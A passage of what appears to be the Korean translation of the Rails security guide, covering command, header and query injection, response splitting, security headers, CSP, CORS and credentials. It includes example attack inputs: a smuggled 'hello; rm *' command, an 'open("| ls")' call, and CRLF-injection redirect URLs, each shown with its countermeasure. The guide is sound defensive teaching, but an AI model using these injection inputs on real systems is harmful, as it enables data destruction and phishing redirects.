inplaceeditor 플러그인이나 문자열을 반환하고 뷰를 렌더링하지 않는 작업을 사용하는 경우 작업에서 반환 값을 이스케이프해야 합니다. 그렇지 않으면 반환 값에 XSS 문자열이 포함된 경우 브라우저로 반환될 때 악성 코드가 실행됩니다. h() 메서드를 사용하여 입력 값을 이스케이프하세요.

명령줄 주입

참고: 사용자 제공 명령줄 매개변수를 주의해서 사용하세요.

애플리케이션이 기본 운영 체제에서 명령을 실행해야 하는 경우 Ruby에는 여러 가지 방법이 있습니다: system(command), exec(command), spawn(command)`command`입니다. 사용자가 전체 명령 또는 일부를 입력할 수 있는 경우 특히 주의해야 합니다. 대부분의 셸에서는 세미콜론(;) 또는 수직 막대(|)를 사용하여 첫 번째 명령에 다른 명령을 연결할 수 있기 때문입니다.

user_input = "hello; rm *"
system("/bin/echo #{user_input}")
# "hello"를 출력하고 현재 디렉토리의 파일을 삭제합니다.

대응책은 system(command, parameters) 메서드를 사용하여 명령줄 매개변수를 안전하게 전달하는 것입니다.

system("/bin/echo", "hello; rm *")
# "hello; rm *"을 출력하고 파일을 삭제하지 않습니다.

Kernel#open의 취약점

Kernel#open은 인수가 수직 막대(|)로 시작하면 OS 명령을 실행합니다.

open('| ls') { |file| file.read }
# `ls` 명령을 통해 파일 목록을 문자열로 반환합니다.

대응책은 File.open, IO.open 또는 URI#open을 사용하는 것입니다. 이들은 OS 명령을 실행하지 않습니다.

File.open('| ls') { |file| file.read }
# `| ls` 파일이 존재하는 경우에만 열고 실행하지 않습니다.

IO.open(0) { |file| file.read }
# stdin을 엽니다. 인수로 문자열을 허용하지 않습니다.

require 'open-uri'
URI('https://example.com').open { |file| file.read }
# URI를 엽니다. `URI()`는 `| ls`를 허용하지 않습니다.

헤더 주입

경고: HTTP 헤더는 동적으로 생성되며 특정 상황에서 사용자 입력이 주입될 수 있습니다. 이로 인해 잘못된 리디렉션, XSS 또는 HTTP 응답 분할이 발생할 수 있습니다.

HTTP 요청 헤더에는 Referer, User-Agent(클라이언트 소프트웨어) 및 Cookie 필드 등이 있습니다. 응답 헤더에는 상태 코드, Cookie 및 Location(리디렉션 대상 URL) 필드 등이 있습니다. 이 모든 것은 사용자 제공이며 조작될 수 있습니다. 이러한 헤더 필드도 이스케이프해야 합니다. 예를 들어 관리 영역에 사용자 에이전트를 표시할 때 등입니다.

그 외에도 사용자 입력을 기반으로 응답 헤더를 구축할 때 정확히 무엇을 하고 있는지 알고 있어야 합니다. 예를 들어 사용자를 특정 페이지로 리디렉션하려고 합니다. 이를 위해 폼에 “referer” 필드를 도입했습니다:

redirect_to params[:referer]

Rails는 문자열을 Location 헤더 필드에 넣고 브라우저에 302(리디렉션) 상태를 보냅니다. 악의적인 사용자가 다음과 같이 하면:

http://www.yourapplication.com/controller/action?referer=http://www.malicious.tld

그리고 Ruby와 Rails 2.1.2(포함되지 않음)까지의 버그로 인해 공격자가 임의의 헤더 필드를 주입할 수 있습니다. 예를 들어 다음과 같이:

http://www.yourapplication.com/controller/action?referer=http://www.malicious.tld%0d%0aX-Header:+Hi!
http://www.yourapplication.com/controller/action?referer=path/at/your/app%0d%0aLocation:+http://www.malicious.tld

%0d%0a는 CRLF(캐리지 리턴 및 줄 바꿈)를 URL 인코딩한 것입니다. 두 번째 예에서는 두 번째 Location 헤더 필드가 첫 번째를 덮어씁니다.

HTTP/1.1 302 Moved Temporarily
(...)
Location: http://www.malicious.tld

따라서 헤더 주입 공격 벡터는 헤더 필드에 CRLF 문자를 주입하는 것입니다. 그리고 잘못된 리디렉션으로 무엇을 할 수 있을까요? 피싱 사이트로 리디렉션하여 사용자의 자격 증명을 훼손하거나, 브라우저 보안 취약점을 통해 악성 소프트웨어를 설치할 수 있습니다. Rails 2.1.2에서는 Location 필드의 이러한 문자를 이스케이프합니다. 사용자 입력으로 다른 헤더 필드를 구축할 때도 직접 이를 수행하세요.

DNS 리바인딩 및 호스트 헤더 공격

DNS 리바인딩은 일반적으로 컴퓨터 공격 형태로 사용되는 도메인 이름 조작 방법입니다. DNS 리바인딩은 동일 출처 정책을 우회하여 도메인 이름 시스템(DNS)을 악용합니다. 다른 IP 주소로 도메인을 다시 바인딩하고 변경된 IP 주소에서 Rails 앱에 임의 코드를 실행합니다.

ActionDispatch::HostAuthorization 미들웨어를 사용하여 DNS 리바인딩 및 기타 호스트 헤더 공격으로부터 보호하는 것이 좋습니다. 개발 환경에서는 기본적으로 활성화되어 있으며, 허용된 호스트 목록을 설정하여 프로덕션 및 기타 환경에서 활성화할 수 있습니다. 예외를 구성하고 사용자 정의 응답 앱을 설정할 수도 있습니다.

Rails.application.config.hosts << "product.com"

Rails.application.config.host_authorization = {
  # /healthcheck/ 경로에 대한 호스트 검사 제외
  exclude: ->(request) { request.path.include?("healthcheck") },
  # 응답에 대한 사용자 정의 Rack 애플리케이션 추가
  response_app: -> env do
    [400, { "Content-Type" => "text/plain" }, ["Bad Request"]]
  end
}

ActionDispatch::HostAuthorization 미들웨어 문서에서 자세히 알아볼 수 있습니다.

응답 분할

헤더 주입이 가능한 경우 응답 분할도 가능할 수 있습니다. HTTP에서 헤더 블록 다음에는 두 개의 CRLF와 실제 데이터(일반적으로 HTML)가 옵니다. 응답 분할의 아이디어는 헤더 필드에 두 개의 CRLF를 주입하고 뒤에 악성 HTML이 있는 다른 응답을 삽입하는 것입니다. 응답은 다음과 같습니다:

HTTP/1.1 302 Found [First standard 302 response]
Date: Tue, 12 Apr 2005 22:09:07 GMT
Location:Content-Type: text/html


HTTP/1.1 200 OK [Second New response created by attacker begins]
Content-Type: text/html


&lt;html&gt;&lt;font color=red&gt;hey&lt;/font&gt;&lt;/html&gt; [Arbitrary malicious input is
Keep-Alive: timeout=15, max=100         shown as the redirected page]
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: text/html

특정 상황에서는 이 악성 HTML이 피해자에게 표시될 수 있습니다. 그러나 이는 Keep-Alive 연결에서만 작동하는 것 같습니다(많은 브라우저가 일회성 연결을 사용). 그러나 이에 의존할 수는없습니다. 어쨌든 이는 심각한 버그이며 Rails를 2.0.5 또는 2.1.2 버전으로 업데이트하여 헤더 주입(및 응답 분할) 위험을 제거해야 합니다.

안전하지 않은 쿼리 생성

Active Record가 매개변수를 해석하는 방식과 Rack이 쿼리 매개변수를 구문 분석하는 방식의 조합으로 인해 예기치 않은 데이터베이스 쿼리에 IS NULL 절이 포함될 수 있었습니다. 이 보안 문제(CVE-2012-2660, CVE-2012-2694CVE-2013-0155)에 대한 대응책으로 deep_munge 메서드가 도입되었습니다.

공격자가 악용할 수 있는 취약한 코드의 예는 다음과 같습니다:

unless params[:token].nil?
  user = User.find_by_token(params[:token])
  user.reset_password!
end

params[:token][nil], [nil, nil, ...] 또는 ['foo', nil]인 경우 nil 검사를 우회하지만 IS NULL 또는 IN ('foo', NULL) 절이 여전히 SQL 쿼리에 추가됩니다.

Rails를 기본적으로 안전하게 유지하기 위해 deep_munge는 일부 값을 nil로 대체합니다. 아래 표는 요청의 JSON에 따라 매개변수가 어떻게 변경되는지 보여줍니다:

JSON Parameters
{ "person": null } { :person => nil }
{ "person": [] } { :person => [] }
{ "person": [null] } { :person => [] }
{ "person": [null, null, ...] } { :person => [] }
{ "person": ["foo", null] } { :person => ["foo"] }

deep_munge의 이전 동작으로 돌아가고 위험을 인지하고 처리할 수 있다면 다음과 같이 구성할 수 있습니다:

config.action_dispatch.perform_deep_munge = false

HTTP 보안 헤더

애플리케이션의 보안을 개선하기 위해 Rails는 HTTP 보안 헤더를 반환하도록 구성할 수 있습니다. 일부 헤더는 기본적으로 구성되어 있으며, 다른 헤더는 명시적으로 구성해야 합니다.

기본 보안 헤더

기본적으로 Rails는 다음과 같은 응답 헤더를 반환합니다. 애플리케이션은 모든 HTTP 응답에 이러한 헤더를 반환합니다.

X-Frame-Options

X-Frame-Options 헤더는 브라우저가 페이지를 <frame>, <iframe>, <embed> 또는 <object> 태그에 렌더링할 수 있는지 여부를 나타냅니다. 이 헤더는 기본적으로 SAMEORIGIN으로 설정되어 동일 도메인에서만 프레이밍을 허용합니다. DENY로 설정하여 프레이밍을 완전히 거부하거나, 이 헤더를 완전히 제거하여 모든 도메인에서 프레이밍을 허용할 수 있습니다.

X-XSS-Protection

더 이상 사용되지 않는 레거시 헤더로, Rails에서 기본적으로 0으로 설정되어 문제가 있는 레거시 XSS 감사기를 비활성화합니다.

X-Content-Type-Options

X-Content-Type-Options 헤더는 Rails에서 기본적으로 nosniff로 설정됩니다. 이는 브라우저가 파일의 MIME 유형을 추측하지 않도록 합니다.

X-Permitted-Cross-Domain-Policies

이 헤더는 Rails에서 기본적으로 none으로 설정됩니다. Adobe Flash와 PDF 클라이언트가 다른 도메인에 페이지를 포함하는 것을 허용하지 않습니다.

Referrer-Policy

Referrer-Policy 헤더는 Rails에서 기본적으로 strict-origin-when-cross-origin으로 설정됩니다. 크로스 오리진 요청의 경우 Referer 헤더에 오리진만 보냅니다. 이를 통해 경로와 쿼리 문자열과 같은 개인 데이터 유출을 방지할 수 있습니다.

기본 헤더 구성

이러한 헤더는 다음과 같이 기본적으로 구성됩니다:

config.action_dispatch.default_headers = {
  'X-Frame-Options' => 'SAMEORIGIN',
  'X-XSS-Protection' => '0',
  'X-Content-Type-Options' => 'nosniff',
  'X-Permitted-Cross-Domain-Policies' => 'none',
  'Referrer-Policy' => 'strict-origin-when-cross-origin'
}

config/application.rb에서 이를 재정의하거나 추가 헤더를 추가할 수 있습니다:

config.action_dispatch.default_headers['X-Frame-Options'] = 'DENY'
config.action_dispatch.default_headers['Header-Name']     = 'Value'

또는 제거할 수 있습니다:

config.action_dispatch.default_headers.clear

Strict-Transport-Security 헤더

HTTP Strict-Transport-Security (HSTS) 응답 헤더는 브라우저가 현재 및 향후 연결을 자동으로 HTTPS로 업그레이드하도록 합니다.

force_ssl 옵션을 활성화하면 헤더가 응답에 추가됩니다:

config.force_ssl = true

Content-Security-Policy 헤더

XSS 및 주입 공격으로부터 보호하기 위해 애플리케이션에 Content-Security-Policy 응답 헤더를 정의하는 것이 좋습니다. Rails는 헤더를 구성할 수 있는 DSL을 제공합니다.

적절한 초기화기에서 보안 정책을 정의하세요:

# config/initializers/content_security_policy.rb
Rails.application.config.content_security_policy do |policy|
  policy.default_src :self, :https
  policy.font_src    :self, :https, :data
  policy.img_src     :self, :https, :data
  policy.object_src  :none
  policy.script_src  :self, :https
  policy.style_src   :self, :https
  # 위반 보고서에 대한 URI 지정
  policy.report_uri "/csp-violation-report-endpoint"
end

전역적으로 구성된 정책은 리소스별로 재정의할 수 있습니다:

class PostsController < ApplicationController
  content_security_policy do |policy|
    policy.upgrade_insecure_requests true
    policy.base_uri "https://www.example.com"
  end
end

또는 비활성화할 수 있습니다:

class LegacyPagesController < ApplicationController
  content_security_policy false, only: :index
end

계정 하위 도메인과 같은 요청별 값을 주입하려면 람다를 사용하세요:

class PostsController < ApplicationController
  content_security_policy do |policy|
    policy.base_uri :self, -> { "https://#{current_user.domain}.example.com" }
  end
end

위반 보고

report-uri 지시문을 활성화하여 지정된 URI에 위반 사항을 보고하세요:

Rails.application.config.content_security_policy do |policy|
  policy.report_uri "/csp-violation-report-endpoint"
end

레거시 콘텐츠로 마이그레이션하는 경우 정책을 적용하지 않고 위반만 보고하도록 선택할 수 있습니다. Content-Security-Policy-Report-Only 응답 헤더를 설정하여 위반만 보고하도록 합니다:

Rails.application.config.content_security_policy_report_only = true

또는 컨트롤러에서 재정의할 수 있습니다:

class PostsController < ApplicationController
  content_security_policy_report_only only: :index
end

넌스 추가

'unsafe-inline'을 고려하는 경우 넌스를 사용하는 것을 고려해 보세요. 넌스는 기존 코드에 Content Security Policy를 구현할 때 상당한 개선을 제공합니다.

# config/initializers/content_security_policy.rb
Rails.application.config.content_security_policy do |policy|
  policy.script_src :self, :https
end

Rails.application.config.content_security_policy_nonce_generator = -> request { SecureRandom.base64(16) }

넌스 생성기를 구성할 때 고려해야 할 몇 가지 트레이드오프가 있습니다. SecureRandom.base64(16)을 사용하는 것은 좋은 기본값이 될 수 있습니다. 이렇게 하면 각 요청에 대해 새 랜덤 넌스가 생성됩니다. 그러나 이 방법은 조건부 GET 캐싱과 호환되지 않습니다. 새 넌스로 인해 ETag 값이 매번 새로 생성되기 때문입니다. 요청별 랜덤 넌스 대신 세션 ID를 사용하는 것이 대안이 될 수 있습니다:

Rails.application.config.content_security_policy_nonce_generator = -> request { request.session.id.to_s }

이 생성 방법은 ETag와 호환되지만, 보안은 세션 ID가 충분히 무작위이고 안전하지 않은 쿠키에 노출되지 않는다는 것에 달려 있습니다.

기본적으로 넌스 생성기가 정의되면 넌스가 script-srcstyle-src에 적용됩니다. config.content_security_policy_nonce_directives를 사용하여 넌스가 적용되는 지시문을 변경할 수 있습니다:

Rails.application.config.content_security_policy_nonce_directives = %w(script-src)

초기화기에서 넌스 생성을 구성한 후 nonce: truehtml_options의 일부로 전달하여 스크립트 태그에 자동으로 넌스 값을 추가할 수 있습니다:

<%= javascript_tag nonce: true do -%>
  alert('Hello, World!');
<% end -%>

javascript_include_tagstylesheet_link_tag에서도 동일하게 작동합니다:

<%= javascript_include_tag "script", nonce: true %>
<%= stylesheet_link_tag "style.css", nonce: true %>

csp_meta_tag 헬퍼를 사용하여 세션별 넌스 값이 포함된 “csp-nonce” meta 태그를 생성할 수 있습니다. 이를 통해 인라인 <script> 태그를 허용할 수 있습니다.

<head>
  <%= csp_meta_tag %>
</head>

이는 Rails UJS 헬퍼가 동적으로 로드된 인라인 <script> 요소를 생성하는 데 사용됩니다.

Feature-Policy 헤더

참고: Feature-Policy 헤더가 Permissions-Policy로 이름이 변경되었습니다. Permissions-Policy는 다른 구현이 필요하며 아직 모든 브라우저에서 지원되지 않습니다. 이 미들웨어의 이름을 나중에 변경할 필요가 없도록 새 이름을 사용하지만 현재는 이전 헤더 이름과 구현을 계속 사용합니다.

브라우저 기능 사용을 허용하거나 차단하려면 애플리케이션에 Feature-Policy 응답 헤더를 정의할 수 있습니다. Rails는 헤더를 구성할 수 있는 DSL을 제공합니다.

적절한 초기화기에서 정책을 정의하세요:

# config/initializers/permissions_policy.rb
Rails.application.config.permissions_policy do |policy|
  policy.camera      :none
  policy.gyroscope   :none
  policy.microphone  :none
  policy.usb         :none
  policy.fullscreen  :self
  policy.payment     :self, "https://secure.example.com"
end

전역적으로 구성된 정책은 리소스별로 재정의할 수 있습니다:

class PagesController < ApplicationController
  permissions_policy do |policy|
    policy.geolocation "https://example.com"
  end
end

크로스 오리진 리소스 공유

브라우저는 스크립트에서 시작된 크로스 오리진 HTTP 요청을 제한합니다. Rails를 API로 실행하고 별도의 도메인에서 프런트엔드 앱을 실행하려면 크로스 오리진 리소스 공유(CORS)를 활성화해야 합니다.

Rack CORS 미들웨어를 사용하여 CORS를 처리할 수 있습니다. --api 옵션으로 애플리케이션을 생성한 경우 Rack CORS가 이미 구성되어 있으므로 다음 단계를 건너뛸 수 있습니다.

시작하려면 Gemfile에 rack-cors 젬을 추가하세요:

gem "rack-cors"

그런 다음 초기화기에 미들웨어 구성을 추가하세요:

# config/initializers/cors.rb
Rails.application.config.middleware.insert_before 0, Rack::Cors do
  allow do
    origins 'example.com'

    resource '*',
      headers: :any,
      methods: [:get, :post, :put, :patch, :delete, :options, :head]
  end
end

내부망 및 관리 보안

내부망 및 관리 인터페이스는 권한 있는 액세스를 허용하므로 인기 있는 공격 대상입니다. 이를 위해서는 추가적인 보안 조치가 필요하지만, 실제로는 반대의 경우가 많습니다.

2007년에는 “Monster for employers” 웹사이트(Monster.com의 온라인 채용 웹 애플리케이션)에서 정보를 훼손하는 최초의 맞춤형 트로이 목마가 등장했습니다. 맞춤형 트로이 목마는 매우 드물지만 가능성은 있으며, 클라이언트 호스트 보안의 중요성을 보여주는 예입니다. 그러나 내부망 및 관리 애플리케이션에 가장 큰 위협은 XSS와 CSRF입니다.

크로스 사이트 스크립팅

애플리케이션이 외부망에서 악성 사용자 입력을 다시 표시하는 경우 XSS에 취약할 수 있습니다. 사용자 이름, 댓글, 스팸 신고, 주문 주소 등 일반적이지 않은 예에서 XSS가 발생할 수 있습니다.

관리 인터페이스 또는 내부망에서 입력 sanitization이 이루어지지 않은 단일 장소가 있다면 전체 애플리케이션이 취약해집니다. 가능한 악용으로는 관리자의 쿠키 훼손, 관리자의 비밀번호를 훼손하기 위한 iframe 삽입, 브라우저 보안 취약점을 통해 관리자의 컴퓨터를 장악하는 악성 소프트웨어 설치 등이 있습니다.

주입 섹션의 XSS 대응책을 참조하세요.

크로스 사이트 요청 위조

크로스 사이트 요청 위조(CSRF), 또는 크로스 사이트 참조 위조(XSRF)는 공격자가 관리자 또는 내부망 사용자가 수행할 수 있는 모든 작업을 수행할 수 있게 해주는 거대한 공격 방법입니다.

실제 사례로는 CSRF를 통한 라우터 재구성이 있습니다. 공격자는 멕시코 사용자에게 악성 이메일을 보냈습니다. 이메일에는 사용자에게 전자 카드가 있다고 주장했지만, 사용자의 라우터를 재구성하는 HTTP GET 요청이 포함된 이미지 태그도 포함되어 있었습니다(멕시코에서 인기 있는 모델). 요청은 사용자의 DNS 설정을 변경하여 멕시코 은행 사이트에 대한 요청을 공격자의 사이트로 매핑했습니다. 해당 라우터를 통해 은행 사이트에 액세스한 모든 사람이 공격자의 가짜 웹사이트를 보고 자격 증명이 훼손되었습니다.

다른 예로는 Google Adsense의 이메일 주소와 비밀번호를 변경한 것이 있습니다. 피해자가 Google Adsense(Google 광고 캠페인의 관리 인터페이스)에 로그인된 상태였다면 공격자가 자격 증명을 변경할 수 있었습니다.

또 다른 일반적인 공격은 웹 애플리케이션, 블로그 또는 포럼을 스팸하여 악성 XSS를 전파하는 것입니다. 물론 공격자는 URL 구조를 알아야 하지만, 대부분의 Rails URL은 매우 간단하거나 오픈 소스 애플리케이션의 관리 인터페이스인 경우 쉽게 찾을 수 있습니다. 공격자는 심지어 가능한 모든 조합을 포함하는 1,000개의 운 좋은 추측을 할 수도 있습니다.

내부망 및 관리 인터페이스에 대한 CSRF 대응책은 CSRF 섹션의 대응책을 참조하세요.

추가 예방 조치

일반적인 관리 인터페이스는 다음과 같이 작동합니다: www.example.com/admin에 있으며, 사용자 모델의 admin 플래그가 설정된 경우에만 액세스할 수 있고, 사용자 입력을 다시 표시하며, 관리자가 원하는 데이터를 삭제/추가/편집할 수 있습니다. 여기 몇 가지 생각해 볼 점이 있습니다:

  • 최악의 경우를 생각해 보는 것이 매우 중요합니다: 누군가 실제로 쿠키나 사용자 자격 증명을 훼손한 경우 어떻게 될까요. 역할을 도입하여 관리 인터페이스의 가능성을 제한할 수 있습니다. 또는 공개 부분과 다른 특별한 로그인 자격 증명을 사용하거나 매우 중요한 작업에는 특별한 비밀번호를 사용할 수 있습니다.

  • 관리자가 전 세계 어디에서나 인터페이스에 액세스할 수 있어야 할까요? 로그인을 특정 소스 IP 주소로 제한하는 것을 고려해 보세요. request.remote_ip를 검사하여 사용자의 IP 주소를 확인할 수 있습니다. 이는 완벽한 솔루션은 아니지만 좋은 장벽이 될 수 있습니다. 그러나 프록시가 사용될 수 있다는 점을 기억해야 합니다.

  • 관리 인터페이스를 별도의 하위 도메인(admin.application.com)으로 분리하고 자체 사용자 관리를 하는 별도의 애플리케이션으로 만드세요. 그러면 www.application.com 도메인의 XSS 스크립트가 admin.application.com의 쿠키를 읽을 수 없습니다(동일 출처 정책 때문).

환경 보안

애플리케이션 코드와 환경을 보안하는 방법에 대해 알려드릴 수는 없습니다. 그러나 데이터베이스 구성(config/database.yml), credentials.yml의 마스터 키, 그리고 다른 암호화되지 않은 비밀을 보호하세요. 이러한 파일과 기타 중요 정보가 포함된 파일의 액세스를 추가로 제한할 수 있습니다. 환경별 버전을 사용하는 것도 좋습니다.

사용자 정의 자격 증명

Rails는 config/credentials.yml.enc에 비밀을 저장합니다. 이 파일은 암호화되어 있으므로 직접 편집할 수 없습니다. Rails는 config/master.key 또는 환경 변수 ENV["RAILS_MASTER_KEY"]를 사용하여 자격 증명 파일을 암호화합니다. 자격 증명 파일이 암호화되어 있기 때문에 마스터 키만 안전하게 유지하면 버전 관리에 저장할 수 있습니다.

기본적으로 자격 증명 파일에는 애플리케이션의 secret_key_base가 포함되어 있습니다. 외부 API에 대한 액세스 키와 같은 다른 비밀도 저장할 수 있습니다.

자격 증명 파일을 편집하려면 bin/rails credentials:edit 명령을 실행하세요. 이 명령은 자격 증명 파일이 없는 경우 생성합니다. 또한 마스터 키가 정의되지 않은 경우 config/master.key를 생성합니다.

해독된 config/credentials.yml.enc에 다음과 같이 저장되어 있다고 가정해 보겠습니다:

secret_key_base: 3b7cd72...
some_api_key: SOMEKEY
system:
  access_key_id: 1234AB

Rails.application.credentials.some_api_key"SOMEKEY"를 반환하고 Rails.application.credentials.system.access_key_id"1234AB"를 반환합니다.

어떤 키가 비어 있는 경우 예외를 발생시키려면 뱅 버전을 사용할 수 있습니다:

# some_api_key가 비어 있는 경우...
Rails.application.credentials.some_api_key! # => KeyError: :some_api_key is blank

팁: bin/rails credentials:help를 사용하여 자격 증명에 대해 자세히 알아보세요.

경고: 마스터 키를 안전하게 보관하세요. 마스터 키를 커밋하지 마세요.

종속성 관리 및 CVE

우리는 보안 문제를 위해서만 종속성을 업데이트하지 않습니다. 이는 애플리케이션 소유자가 우리의 노력과 관계없이 수동으로 취약한 종속성을 업데이트해야 하기 때문입니다. bundle update --conservative gem_name을 사용하여 안전하게 취약한 종속성을 업데이트하세요.

추가 리소스

보안 환경은 변화하며 최신 상태를 유지하는 것이 중요합니다. 새로운 취약점을 놓치면 재앙적일 수 있습니다. 다음과 같은 추가 리소스에서 (Rails) 보안에 대해 알아볼 수 있습니다: